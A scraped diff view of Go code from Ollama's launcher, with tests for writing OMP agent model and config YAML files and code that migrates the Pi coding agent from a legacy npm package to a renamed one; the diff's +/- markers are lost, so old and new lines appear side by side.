t.Run("falls back to ~/.local/bin/omp", func(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
|
||||
fallback := filepath.Join(home, ".local", "bin", ompExecutableNames()[0])
|
||||
os.MkdirAll(filepath.Dir(fallback), 0o755)
|
||||
os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
|
||||
|
||||
got, err := o.findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got != fallback {
|
||||
t.Errorf("findPath() = %q, want %q", got, fallback)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("falls back to ~/.bun/bin/omp", func(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
|
||||
fallback := filepath.Join(home, ".bun", "bin", ompExecutableNames()[0])
|
||||
os.MkdirAll(filepath.Dir(fallback), 0o755)
|
||||
os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
|
||||
|
||||
got, err := o.findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got != fallback {
|
||||
t.Errorf("findPath() = %q, want %q", got, fallback)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("returns error when not found", func(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
|
||||
if _, err := o.findPath(); err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsWritesModelsYML(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
|
||||
|
||||
o := &OMP{}
|
||||
models := []LaunchModel{
|
||||
{
|
||||
Name: "glm-5.1:cloud",
|
||||
ContextLength: 202_752,
|
||||
MaxOutputTokens: 131_072,
|
||||
},
|
||||
{
|
||||
Name: "qwen3.6",
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityVision},
|
||||
},
|
||||
}
|
||||
if err := o.ConfigureWithModels("glm-5.1:cloud", models); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
path := filepath.Join(home, ".omp", "agent", "models.yml")
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read models.yml: %v", err)
|
||||
}
|
||||
|
||||
cfg := parseOMPConfigYAML(t, data)
|
||||
provider := ompProviderFromYAML(t, cfg)
|
||||
if provider["baseUrl"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Fatalf("baseUrl = %v, want connectable OpenAI-compatible host", provider["baseUrl"])
|
||||
}
|
||||
if provider["api"] != "openai-responses" {
|
||||
t.Fatalf("api = %v, want openai-responses", provider["api"])
|
||||
}
|
||||
if provider["auth"] != "none" {
|
||||
t.Fatalf("auth = %v, want none", provider["auth"])
|
||||
}
|
||||
discovery, _ := provider["discovery"].(map[string]any)
|
||||
if discovery["type"] != "ollama" {
|
||||
t.Fatalf("discovery = %v, want type ollama", discovery)
|
||||
}
|
||||
|
||||
entries := ompModelEntriesFromYAML(t, provider)
|
||||
if len(entries) != 2 {
|
||||
t.Fatalf("models length = %d, want 2", len(entries))
|
||||
}
|
||||
if entries[0]["id"] != "glm-5.1:cloud" {
|
||||
t.Fatalf("first model id = %v, want primary first", entries[0]["id"])
|
||||
}
|
||||
if got := numericYAMLValue(entries[0]["contextWindow"]); got != 202_752 {
|
||||
t.Fatalf("contextWindow = %d, want 202752", got)
|
||||
}
|
||||
if got := numericYAMLValue(entries[0]["maxTokens"]); got != 131_072 {
|
||||
t.Fatalf("maxTokens = %d, want 131072", got)
|
||||
}
|
||||
if input := stringSliceYAMLValue(entries[1]["input"]); !slices.Equal(input, []string{"text", "image"}) {
|
||||
t.Fatalf("vision input = %v, want [text image]", input)
|
||||
}
|
||||
if got := o.CurrentModel(); got != "glm-5.1:cloud" {
|
||||
t.Fatalf("CurrentModel = %q, want glm-5.1:cloud", got)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
|
||||
configData, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read config.yml: %v", err)
|
||||
}
|
||||
config := parseOMPConfigYAML(t, configData)
|
||||
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
|
||||
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
|
||||
}
|
||||
if paths := o.Paths(); !slices.Equal(paths, []string{path, configPath}) {
|
||||
t.Fatalf("Paths = %v, want [%s %s]", paths, path, configPath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsPreservesExistingConfig(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
|
||||
modelsPath := filepath.Join(home, ".omp", "agent", "models.yml")
|
||||
if err := os.MkdirAll(filepath.Dir(modelsPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
existing := []byte(`
|
||||
providers:
|
||||
anthropic:
|
||||
baseUrl: https://example.com/anthropic
|
||||
ollama:
|
||||
baseUrl: http://old-host:11434
|
||||
api: openai-responses
|
||||
auth: none
|
||||
models:
|
||||
- id: old-model
|
||||
name: Old Model
|
||||
customField: keep-me
|
||||
`)
|
||||
if err := os.WriteFile(modelsPath, existing, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
|
||||
existingConfig := []byte(`
|
||||
lastChangelogVersion: 15.7.6
|
||||
setupVersion: 0
|
||||
theme: monochrome
|
||||
`)
|
||||
if err := os.WriteFile(configPath, existingConfig, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
o := &OMP{}
|
||||
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}, {Name: "old-model"}}); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(modelsPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfg := parseOMPConfigYAML(t, data)
|
||||
providers, _ := cfg["providers"].(map[string]any)
|
||||
if _, ok := providers["anthropic"]; !ok {
|
||||
t.Fatalf("expected non-Ollama provider to be preserved: %v", providers)
|
||||
}
|
||||
|
||||
provider := ompProviderFromYAML(t, cfg)
|
||||
if provider["baseUrl"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Fatalf("baseUrl = %v, want repaired OpenAI-compatible host", provider["baseUrl"])
|
||||
}
|
||||
|
||||
entries := ompModelEntriesFromYAML(t, provider)
|
||||
if len(entries) != 2 {
|
||||
t.Fatalf("models length = %d, want 2", len(entries))
|
||||
}
|
||||
if entries[0]["id"] != "new-model" {
|
||||
t.Fatalf("first model id = %v, want new-model", entries[0]["id"])
|
||||
}
|
||||
if entries[1]["id"] != "old-model" {
|
||||
t.Fatalf("second model id = %v, want old-model", entries[1]["id"])
|
||||
}
|
||||
if entries[1]["customField"] != "keep-me" {
|
||||
t.Fatalf("custom field was not preserved: %v", entries[1])
|
||||
}
|
||||
|
||||
configData, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
config := parseOMPConfigYAML(t, configData)
|
||||
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
|
||||
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
|
||||
}
|
||||
if config["theme"] != "monochrome" {
|
||||
t.Fatalf("theme was not preserved: %v", config)
|
||||
}
|
||||
if config["lastChangelogVersion"] != "15.7.6" {
|
||||
t.Fatalf("lastChangelogVersion was not preserved: %v", config)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsAlwaysMarksSetupComplete(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
|
||||
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(configPath, []byte("setupVersion: 2\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
o := &OMP{}
|
||||
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
configData, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
config := parseOMPConfigYAML(t, configData)
|
||||
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
|
||||
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsRespectsPiConfigDir(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("PI_CONFIG_DIR", ".custom-omp")
|
||||
|
||||
o := &OMP{}
|
||||
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
modelsPath := filepath.Join(home, ".custom-omp", "agent", "models.yml")
|
||||
configPath := filepath.Join(home, ".custom-omp", "agent", "config.yml")
|
||||
for _, path := range []string{modelsPath, configPath} {
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("expected %s to be written: %v", path, err)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(home, ".omp", "agent", "models.yml")); !os.IsNotExist(err) {
|
||||
t.Fatalf("expected default OMP models path to be untouched, got err %v", err)
|
||||
}
|
||||
if paths := o.Paths(); !slices.Equal(paths, []string{modelsPath, configPath}) {
|
||||
t.Fatalf("Paths = %v, want [%s %s]", paths, modelsPath, configPath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsRespectsPiCodingAgentDir(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
agentDir := filepath.Join(home, "agent-override")
|
||||
t.Setenv("PI_CONFIG_DIR", ".ignored-omp")
|
||||
t.Setenv("PI_CODING_AGENT_DIR", agentDir)
|
||||
|
||||
o := &OMP{}
|
||||
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
modelsPath := filepath.Join(agentDir, "models.yml")
|
||||
configPath := filepath.Join(agentDir, "config.yml")
|
||||
for _, path := range []string{modelsPath, configPath} {
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("expected %s to be written: %v", path, err)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(home, ".ignored-omp", "agent", "models.yml")); !os.IsNotExist(err) {
|
||||
t.Fatalf("expected PI_CONFIG_DIR path to be ignored when PI_CODING_AGENT_DIR is set, got err %v", err)
|
||||
}
|
||||
if got := o.CurrentModel(); got != "new-model" {
|
||||
t.Fatalf("CurrentModel = %q, want new-model", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPCurrentModelRequiresHealthyProvider(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("OLLAMA_HOST", "http://127.0.0.1:11434")
|
||||
|
||||
modelsPath := filepath.Join(home, ".omp", "agent", "models.yml")
|
||||
if err := os.MkdirAll(filepath.Dir(modelsPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
provider string
|
||||
}{
|
||||
{
|
||||
name: "wrong base url",
|
||||
provider: "" +
|
||||
" baseUrl: http://127.0.0.1:9999/v1\n" +
|
||||
" api: openai-responses\n" +
|
||||
" auth: none\n" +
|
||||
" discovery:\n" +
|
||||
" type: ollama\n",
|
||||
},
|
||||
{
|
||||
name: "wrong api",
|
||||
provider: "" +
|
||||
" baseUrl: http://127.0.0.1:11434/v1\n" +
|
||||
" api: openai-chat\n" +
|
||||
" auth: none\n" +
|
||||
" discovery:\n" +
|
||||
" type: ollama\n",
|
||||
},
|
||||
{
|
||||
name: "wrong auth",
|
||||
provider: "" +
|
||||
" baseUrl: http://127.0.0.1:11434/v1\n" +
|
||||
" api: openai-responses\n" +
|
||||
" auth: api-key\n" +
|
||||
" discovery:\n" +
|
||||
" type: ollama\n",
|
||||
},
|
||||
{
|
||||
name: "wrong discovery",
|
||||
provider: "" +
|
||||
" baseUrl: http://127.0.0.1:11434/v1\n" +
|
||||
" api: openai-responses\n" +
|
||||
" auth: none\n" +
|
||||
" discovery:\n" +
|
||||
" type: static\n",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
cfg := "providers:\n" +
|
||||
" ollama:\n" +
|
||||
tt.provider +
|
||||
" models:\n" +
|
||||
" - id: gemma4\n"
|
||||
if err := os.WriteFile(modelsPath, []byte(cfg), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := (&OMP{}).CurrentModel(); got != "" {
|
||||
t.Fatalf("expected stale config to return empty current model, got %q", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func parseOMPConfigYAML(t *testing.T, data []byte) map[string]any {
|
||||
t.Helper()
|
||||
var cfg map[string]any
|
||||
if err := yaml.Unmarshal(data, &cfg); err != nil {
|
||||
t.Fatalf("generated YAML did not parse: %v\n%s", err, data)
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
|
||||
func ompProviderFromYAML(t *testing.T, cfg map[string]any) map[string]any {
|
||||
t.Helper()
|
||||
providers, ok := cfg["providers"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("providers missing from config: %v", cfg)
|
||||
}
|
||||
provider, ok := providers["ollama"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("ollama provider missing from config: %v", providers)
|
||||
}
|
||||
return provider
|
||||
}
|
||||
|
||||
func ompModelEntriesFromYAML(t *testing.T, provider map[string]any) []map[string]any {
|
||||
t.Helper()
|
||||
rawModels, ok := provider["models"].([]any)
|
||||
if !ok {
|
||||
t.Fatalf("provider models missing: %v", provider)
|
||||
}
|
||||
models := make([]map[string]any, 0, len(rawModels))
|
||||
for _, raw := range rawModels {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("model entry has unexpected type %T: %v", raw, raw)
|
||||
}
|
||||
models = append(models, entry)
|
||||
}
|
||||
return models
|
||||
}
|
||||
|
||||
func numericYAMLValue(value any) int {
|
||||
switch v := value.(type) {
|
||||
case int:
|
||||
return v
|
||||
case int64:
|
||||
return int(v)
|
||||
case float64:
|
||||
return int(v)
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func stringSliceYAMLValue(value any) []string {
|
||||
raw, _ := value.([]any)
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, item := range raw {
|
||||
if s, ok := item.(string); ok {
|
||||
out = append(out, s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -278,14 +278,12 @@ func buildModelEntries(modelList []LaunchModel) map[string]any {
|
||||
"output": []string{"text"},
|
||||
}
|
||||
}
|
||||
if model.ContextLength > 0 || model.MaxOutputTokens > 0 {
|
||||
if model.MaxOutputTokens > 0 {
|
||||
limit := make(map[string]any)
|
||||
if model.ContextLength > 0 {
|
||||
limit["context"] = model.ContextLength
|
||||
}
|
||||
if model.MaxOutputTokens > 0 {
|
||||
limit["output"] = model.MaxOutputTokens
|
||||
}
|
||||
limit["output"] = model.MaxOutputTokens
|
||||
entry["limit"] = limit
|
||||
}
|
||||
models[model.Name] = entry
|
||||
|
||||
@@ -196,6 +196,14 @@ func TestBuildModelEntries(t *testing.T) {
|
||||
t.Fatalf("limit = %v, want context/output", limit)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("omits context-only limits", func(t *testing.T) {
|
||||
models := buildModelEntries([]LaunchModel{{Name: "qwen2.5:0.5b", ContextLength: 32768}})
|
||||
entry, _ := models["qwen2.5:0.5b"].(map[string]any)
|
||||
if _, ok := entry["limit"]; ok {
|
||||
t.Fatalf("limit should be omitted when output limit is unknown, got %v", entry["limit"])
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestOpenCodeModels_ReturnsNil(t *testing.T) {
|
||||
|
||||
+370
-21
@@ -4,11 +4,15 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
@@ -19,13 +23,16 @@ import (
|
||||
type Pi struct{}
|
||||
|
||||
const (
|
||||
piNpmPackage = "@mariozechner/pi-coding-agent"
|
||||
piWebSearchSource = "npm:@ollama/pi-web-search"
|
||||
piWebSearchPkg = "@ollama/pi-web-search"
|
||||
piNpmPackage = "@earendil-works/pi-coding-agent"
|
||||
piLegacyNpmPackage = "@mariozechner/pi-coding-agent"
|
||||
piWebSearchSource = "npm:@ollama/pi-web-search"
|
||||
piWebSearchPkg = "@ollama/pi-web-search"
|
||||
)
|
||||
|
||||
func (p *Pi) String() string { return "Pi" }
|
||||
|
||||
var npmRegistryBaseURL = "https://registry.npmjs.org"
|
||||
|
||||
func (p *Pi) Run(_ string, _ []LaunchModel, args []string) error {
|
||||
fmt.Fprintf(os.Stderr, "\n%sPreparing Pi...%s\n", ansiGray, ansiReset)
|
||||
if err := ensureNpmInstalled(); err != nil {
|
||||
@@ -58,6 +65,22 @@ func ensureNpmInstalled() error {
|
||||
|
||||
func ensurePiInstalled() (string, error) {
|
||||
if _, err := exec.LookPath("pi"); err == nil {
|
||||
install, pkgErr := installedPiPackageInfo()
|
||||
if pkgErr != nil {
|
||||
fmt.Fprintf(os.Stderr, "%sCould not verify which Pi package is installed: %v%s\n", ansiYellow, pkgErr, ansiReset)
|
||||
fmt.Fprintf(os.Stderr, "Pi will still launch. To switch to the official package manually:\n npm uninstall -g %s\n npm install -g %s\n\n", piLegacyNpmPackage, piNpmPackage)
|
||||
return "pi", nil
|
||||
}
|
||||
|
||||
if install.packageName == piLegacyNpmPackage {
|
||||
fmt.Fprintf(os.Stderr, "%sUpdating Pi...%s\n", ansiGray, ansiReset)
|
||||
if err := migrateLegacyPiPackage(install.npmPrefix); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := requirePiOnPath(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
return "pi", nil
|
||||
}
|
||||
|
||||
@@ -65,7 +88,29 @@ func ensurePiInstalled() (string, error) {
|
||||
return "", fmt.Errorf("pi is not installed and required dependencies are missing\n\nInstall the following first:\n npm (Node.js): https://nodejs.org/\n\nThen re-run:\n ollama launch pi")
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Pi is not installed. Install with npm?")
|
||||
install, pkgErr := installedPiPackageInfo()
|
||||
if pkgErr == nil && install.packageName == piLegacyNpmPackage {
|
||||
fmt.Fprintf(os.Stderr, "%sUpdating Pi...%s\n", ansiGray, ansiReset)
|
||||
if err := migrateLegacyPiPackage(install.npmPrefix); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := requirePiOnPath(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "pi", nil
|
||||
}
|
||||
if pkgErr == nil && install.packageName == piNpmPackage {
|
||||
fmt.Fprintf(os.Stderr, "%sInstalling Pi...%s\n", ansiGray, ansiReset)
|
||||
if err := installPiPackageWithPrefix(install.npmPrefix); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := requirePiOnPath(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "pi", nil
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Install Pi with npm?")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -74,36 +119,252 @@ func ensurePiInstalled() (string, error) {
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Pi...\n")
|
||||
cmd := exec.Command("npm", "install", "-g", piNpmPackage+"@latest")
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to install pi: %w", err)
|
||||
if err := installPiPackage(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if _, err := exec.LookPath("pi"); err != nil {
|
||||
return "", fmt.Errorf("pi was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
|
||||
if err := requirePiOnPath(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sPi installed successfully%s\n\n", ansiGreen, ansiReset)
|
||||
return "pi", nil
|
||||
}
|
||||
|
||||
func requirePiOnPath() error {
|
||||
if _, err := exec.LookPath("pi"); err != nil {
|
||||
return fmt.Errorf("pi was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installPiPackage() error {
|
||||
return installPiPackageWithPrefix("")
|
||||
}
|
||||
|
||||
func installPiPackageWithPrefix(prefix string) error {
|
||||
if err := runQuietCommand("npm", npmArgs(prefix, "install", "-g", piNpmPackage+"@latest")...); err != nil {
|
||||
return fmt.Errorf("failed to install pi: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func migrateLegacyPiPackage(prefix string) error {
|
||||
if err := installPiPackageForced(prefix); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
installed, err := npmPackageInstalledWithPrefix(piNpmPackage, prefix)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to verify official pi package: %w", err)
|
||||
}
|
||||
if !installed {
|
||||
return fmt.Errorf("failed to verify official pi package")
|
||||
}
|
||||
|
||||
if err := uninstallLegacyPiPackageWithPrefix(prefix); err != nil {
|
||||
return err
|
||||
}
|
||||
return installPiPackageWithPrefix(prefix)
|
||||
}
|
||||
|
||||
func installPiPackageForced(prefix string) error {
|
||||
if err := runQuietCommand("npm", npmArgs(prefix, "install", "-g", piNpmPackage+"@latest", "--force")...); err != nil {
|
||||
return fmt.Errorf("failed to install pi: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstallLegacyPiPackageWithPrefix(prefix string) error {
|
||||
if err := runQuietCommand("npm", npmArgs(prefix, "uninstall", "-g", piLegacyNpmPackage)...); err != nil {
|
||||
return fmt.Errorf("failed to remove legacy pi package: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func runQuietCommand(name string, args ...string) error {
|
||||
cmd := exec.Command(name, args...)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
return err
|
||||
}
|
||||
return fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
|
||||
type piPackageInstall struct {
|
||||
packageName string
|
||||
npmPrefix string
|
||||
}
|
||||
|
||||
func installedPiPackageInfo() (piPackageInstall, error) {
|
||||
if _, err := exec.LookPath("npm"); err != nil {
|
||||
return piPackageInstall{}, err
|
||||
}
|
||||
|
||||
if bin, err := exec.LookPath("pi"); err == nil {
|
||||
install, err := piPackageInstallFromBinary(bin)
|
||||
if err == nil && install.packageName != "" {
|
||||
return install, nil
|
||||
}
|
||||
}
|
||||
|
||||
installed, err := npmPackageInstalled(piLegacyNpmPackage)
|
||||
if err != nil {
|
||||
return piPackageInstall{}, err
|
||||
}
|
||||
if installed {
|
||||
return piPackageInstall{packageName: piLegacyNpmPackage}, nil
|
||||
}
|
||||
|
||||
installed, err = npmPackageInstalled(piNpmPackage)
|
||||
if err != nil {
|
||||
return piPackageInstall{}, err
|
||||
}
|
||||
if installed {
|
||||
return piPackageInstall{packageName: piNpmPackage}, nil
|
||||
}
|
||||
|
||||
return piPackageInstall{}, nil
|
||||
}
|
||||
|
||||
func piPackageInstallFromBinary(bin string) (piPackageInstall, error) {
|
||||
realPath, err := filepath.EvalSymlinks(bin)
|
||||
if err != nil {
|
||||
realPath = bin
|
||||
}
|
||||
|
||||
dir := filepath.Dir(realPath)
|
||||
for {
|
||||
packageJSON := filepath.Join(dir, "package.json")
|
||||
data, err := os.ReadFile(packageJSON)
|
||||
if err == nil {
|
||||
var payload struct {
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if json.Unmarshal(data, &payload) == nil && (payload.Name == piLegacyNpmPackage || payload.Name == piNpmPackage) {
|
||||
return piPackageInstall{packageName: payload.Name, npmPrefix: npmPrefixForPackageRoot(dir)}, nil
|
||||
}
|
||||
}
|
||||
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
break
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
|
||||
return piPackageInstall{}, nil
|
||||
}
|
||||
|
||||
func npmPrefixForPackageRoot(packageRoot string) string {
|
||||
return npmPrefixForPackageRootForGOOS(filepath.Clean(packageRoot), runtime.GOOS, string(filepath.Separator))
|
||||
}
|
||||
|
||||
func npmPrefixForPackageRootForGOOS(packageRoot, goos, separator string) string {
|
||||
packageRoot = strings.TrimRight(packageRoot, separator)
|
||||
nodeModules := separator + "node_modules" + separator
|
||||
idx := strings.LastIndex(packageRoot, nodeModules)
|
||||
if idx == -1 {
|
||||
return ""
|
||||
}
|
||||
|
||||
rootDir := packageRoot[:idx]
|
||||
if pathBaseForSeparator(rootDir, separator) == "lib" {
|
||||
// Unix npm global root is <prefix>/lib/node_modules.
|
||||
return pathDirForSeparator(rootDir, separator)
|
||||
}
|
||||
if goos == "windows" {
|
||||
// Windows npm global root is usually <prefix>\node_modules.
|
||||
return rootDir
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func pathBaseForSeparator(path, separator string) string {
|
||||
path = strings.TrimRight(path, separator)
|
||||
idx := strings.LastIndex(path, separator)
|
||||
if idx == -1 {
|
||||
return path
|
||||
}
|
||||
return path[idx+len(separator):]
|
||||
}
|
||||
|
||||
func pathDirForSeparator(path, separator string) string {
|
||||
path = strings.TrimRight(path, separator)
|
||||
idx := strings.LastIndex(path, separator)
|
||||
if idx == -1 {
|
||||
return ""
|
||||
}
|
||||
if idx == 0 {
|
||||
return separator
|
||||
}
|
||||
return path[:idx]
|
||||
}
|
||||
|
||||
func npmPackageInstalled(pkg string) (bool, error) {
|
||||
return npmPackageInstalledWithPrefix(pkg, "")
|
||||
}
|
||||
|
||||
func npmPackageInstalledWithPrefix(pkg, prefix string) (bool, error) {
|
||||
cmd := exec.Command("npm", npmArgs(prefix, "ls", "-g", pkg, "--depth=0", "--json")...)
|
||||
out, err := cmd.Output()
|
||||
|
||||
var payload struct {
|
||||
Dependencies map[string]json.RawMessage `json:"dependencies"`
|
||||
}
|
||||
|
||||
if parseErr := json.Unmarshal(out, &payload); parseErr == nil {
|
||||
_, ok := payload.Dependencies[pkg]
|
||||
if ok {
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
msg := strings.TrimSpace(string(exitErr.Stderr))
|
||||
if msg == "" {
|
||||
msg = strings.TrimSpace(string(out))
|
||||
}
|
||||
if msg == "" {
|
||||
return false, err
|
||||
}
|
||||
return false, fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
|
||||
return false, err
|
||||
}
|
||||
|
||||
func npmArgs(prefix string, args ...string) []string {
|
||||
if prefix == "" {
|
||||
return args
|
||||
}
|
||||
return append([]string{"--prefix", prefix}, args...)
|
||||
}
|
||||
|
||||
func ensurePiWebSearchPackage(bin string) {
|
||||
if !shouldManagePiWebSearch() {
|
||||
if !shouldManageOllamaWebSearch() {
|
||||
fmt.Fprintf(os.Stderr, "%sCloud is disabled; skipping %s setup.%s\n", ansiGray, piWebSearchPkg, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sChecking Pi web search package...%s\n", ansiGray, ansiReset)
|
||||
|
||||
installed, err := piPackageInstalled(bin, piWebSearchSource)
|
||||
pkg, err := piPackageInfo(bin, piWebSearchSource)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: could not check %s installation: %v%s\n", ansiYellow, piWebSearchPkg, err, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
if !installed {
|
||||
if !pkg.installed {
|
||||
fmt.Fprintf(os.Stderr, "%sInstalling %s...%s\n", ansiGray, piWebSearchPkg, ansiReset)
|
||||
cmd := exec.Command(bin, "install", piWebSearchSource)
|
||||
cmd.Stdout = os.Stdout
|
||||
@@ -117,6 +378,11 @@ func ensurePiWebSearchPackage(bin string) {
|
||||
return
|
||||
}
|
||||
|
||||
updateAvailable, err := piWebSearchUpdateAvailable(pkg.installedPath)
|
||||
if err != nil || !updateAvailable {
|
||||
return
|
||||
}
|
||||
|
||||
